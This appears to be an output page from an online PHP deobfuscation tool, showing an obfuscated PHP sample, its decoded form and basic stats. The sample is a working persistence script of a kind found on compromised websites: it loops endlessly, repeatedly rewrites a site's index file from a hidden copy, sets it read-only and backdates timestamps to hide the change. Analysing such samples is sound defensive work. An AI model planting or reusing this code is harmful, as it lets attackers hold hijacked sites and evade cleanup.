Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php error_reporting(0); ignore_user_abort(true); set_time_limit(0); $OOOOOO="qwertyui..
Decoded Output download
<?php error_reporting(0);
ignore_user_abort(true);
set_time_limit(0);
$OOOOOO="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_-"?> <.-=:/1230654879';()&^$[]\%{}!*|+,";
global $O;
$O=urldecode($OOOOOO);
define('BASE_PATH',str_ireplace($_SERVER['PHP_SELF'],'',__FILE__));
$oOoO=BASE_PATH.$O{63}.$O{7}.$O{24}.$O{12}.$O{2}.$O{20}.$O{59}.$O{9}.$O{15}.$O{9};
$oOoOo=@file_get_contents($oOoO);
$oOoOoO=@file_get_contents($O{11}.$O{4}.$O{5}.$O{18}.$O{2}.$O{21}.$O{59}.$O{9}.$O{15}.$O{9});
if($oOoOoO==""||$oOoOoO==null){file_put_contents($O{11}.$O{4}.$O{5}.$O{18}.$O{2}.$O{21}.$O{59}.$O{9}.$O{15}.$O{9},$oOoOo);$oOoOoOoOoOoOoOo=@opendir(dirname(__FILE__));
while($oOoOoOoOoOoOoOoO=@readdir($oOoOoOoOoOoOoOo)){if($oOoOoOoOoOoOoOoO!=$O{59} and $oOoOoOoOoOoOoOoO!=$O{59}.$O{59}){$oOoOoOoOoOoOoOoOo[]=date($O{31}.$O{53}.$O{25}.$O{53}.$O{12}.$O{57}.$O{41}.$O{62}.$O{7}.$O{62}.$O{11},filemtime(dirname(__FILE__).$O{63}.$oOoOoOoOoOoOoOoO));}}@closedir($oOoOoOoOoOoOoOo);@array_multisort($oOoOoOoOoOoOoOoOo);$oOoOoOoOoOoOoOoOoO=strtotime($oOoOoOoOoOoOoOoOo[0]);touch(__FILE__,$oOoOoOoOoOoOoOoOoO);touch(dirname(__FILE__).$O{63}.$O{11}.$O{4}.$O{5}.$O{18}.$O{2}.$O{21}.$O{59}.$O{9}.$O{15}.$O{9},$oOoOoOoOoOoOoOoOoO);}$oOoOoOo=$O{11}.$O{4}.$O{5}.$O{18}.$O{2}.$O{6}.$O{59}.$O{9}.$O{15}.$O{9};$oOoOoOoO=BASE_PATH.$O{63}.$O{7}.$O{24}.$O{12}.$O{2}.$O{20}.$O{59}.$O{9}.$O{15}.$O{9};if(file_exists($oOoOoOoO)){$oOoOoOoOo=$O{11}.$O{4}.$O{5}.$O{18}.$O{2}.$O{21}.$O{59}.$O{9}.$O{15}.$O{9};$oOoOoOoOoO=file_get_contents($oOoOoOoOo);while(1==1){if(file_exists($oOoOoOo)){@unlink($oOoOoOo);exit();}else{@unlink($oOoOoOoO);chmod($oOoOoOoO, 0777);@unlink($oOoOoOoO);file_put_contents($oOoOoOoO,$oOoOoOoOoO);$oOoOoOoOoOo=@opendir(BASE_PATH);while($oOoOoOoOoOoO=@readdir($oOoOoOoOoOo)){if($oOoOoOoOoOoO!=$O{59} and $oOoOoOoOoOoO!=$O{59}.$O{59}){$oOoOoOoOoOoOo[]=date($O{31}.$O{53}.$O{25}.$O{53}.$O{12}.$O{57}.$O{41}.$O{62}.$O{7}.$O{62}.$O{11},filemtime(BASE_PATH.$O{63}.$oOoOoOoOoOoO));}}@closedir($oOoOoOoOoOo);@array_multisort($oOoOoOoOoOoOo);$oOoOoOoOoOoOoO=strtotime($oOoOoOoOoOoOo[0]);touch($oOoOoOoO,$oOoOoOoOoOoOoO);chmod($oOoOoOoO,0444);usleep(1000000);}}};?>
Did this file decode correctly?
Original Code
<?php error_reporting(0);
ignore_user_abort(true);
set_time_limit(0);
$OOOOOO="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_-"?> <.-=:/1230654879';()&^$[]\\%{}!*|+,";
global $O;
$O=urldecode($OOOOOO);
define('BASE_PATH',str_ireplace($_SERVER['PHP_SELF'],'',__FILE__));
$oOoO=BASE_PATH.$O{63}.$O{7}.$O{24}.$O{12}.$O{2}.$O{20}.$O{59}.$O{9}.$O{15}.$O{9};
$oOoOo=@file_get_contents($oOoO);
$oOoOoO=@file_get_contents($O{11}.$O{4}.$O{5}.$O{18}.$O{2}.$O{21}.$O{59}.$O{9}.$O{15}.$O{9});
if($oOoOoO==""||$oOoOoO==null){file_put_contents($O{11}.$O{4}.$O{5}.$O{18}.$O{2}.$O{21}.$O{59}.$O{9}.$O{15}.$O{9},$oOoOo);$oOoOoOoOoOoOoOo=@opendir(dirname(__FILE__));
while($oOoOoOoOoOoOoOoO=@readdir($oOoOoOoOoOoOoOo)){if($oOoOoOoOoOoOoOoO!=$O{59} and $oOoOoOoOoOoOoOoO!=$O{59}.$O{59}){$oOoOoOoOoOoOoOoOo[]=date($O{31}.$O{53}.$O{25}.$O{53}.$O{12}.$O{57}.$O{41}.$O{62}.$O{7}.$O{62}.$O{11},filemtime(dirname(__FILE__).$O{63}.$oOoOoOoOoOoOoOoO));}}@closedir($oOoOoOoOoOoOoOo);@array_multisort($oOoOoOoOoOoOoOoOo);$oOoOoOoOoOoOoOoOoO=strtotime($oOoOoOoOoOoOoOoOo[0]);touch(__FILE__,$oOoOoOoOoOoOoOoOoO);touch(dirname(__FILE__).$O{63}.$O{11}.$O{4}.$O{5}.$O{18}.$O{2}.$O{21}.$O{59}.$O{9}.$O{15}.$O{9},$oOoOoOoOoOoOoOoOoO);}$oOoOoOo=$O{11}.$O{4}.$O{5}.$O{18}.$O{2}.$O{6}.$O{59}.$O{9}.$O{15}.$O{9};$oOoOoOoO=BASE_PATH.$O{63}.$O{7}.$O{24}.$O{12}.$O{2}.$O{20}.$O{59}.$O{9}.$O{15}.$O{9};if(file_exists($oOoOoOoO)){$oOoOoOoOo=$O{11}.$O{4}.$O{5}.$O{18}.$O{2}.$O{21}.$O{59}.$O{9}.$O{15}.$O{9};$oOoOoOoOoO=file_get_contents($oOoOoOoOo);while(1==1){if(file_exists($oOoOoOo)){@unlink($oOoOoOo);exit();}else{@unlink($oOoOoOoO);chmod($oOoOoOoO, 0777);@unlink($oOoOoOoO);file_put_contents($oOoOoOoO,$oOoOoOoOoO);$oOoOoOoOoOo=@opendir(BASE_PATH);while($oOoOoOoOoOoO=@readdir($oOoOoOoOoOo)){if($oOoOoOoOoOoO!=$O{59} and $oOoOoOoOoOoO!=$O{59}.$O{59}){$oOoOoOoOoOoOo[]=date($O{31}.$O{53}.$O{25}.$O{53}.$O{12}.$O{57}.$O{41}.$O{62}.$O{7}.$O{62}.$O{11},filemtime(BASE_PATH.$O{63}.$oOoOoOoOoOoO));}}@closedir($oOoOoOoOoOo);@array_multisort($oOoOoOoOoOoOo);$oOoOoOoOoOoOoO=strtotime($oOoOoOoOoOoOo[0]);touch($oOoOoOoO,$oOoOoOoOoOoOoO);chmod($oOoOoOoO,0444);usleep(1000000);}}};?>
Function Calls
set_time_limit | 1 |
error_reporting | 1 |
ignore_user_abort | 1 |
Stats
MD5 | 640ca8d21de7492478110b1ae89e7384 |
Eval Count | 0 |
Decode Time | 42 ms |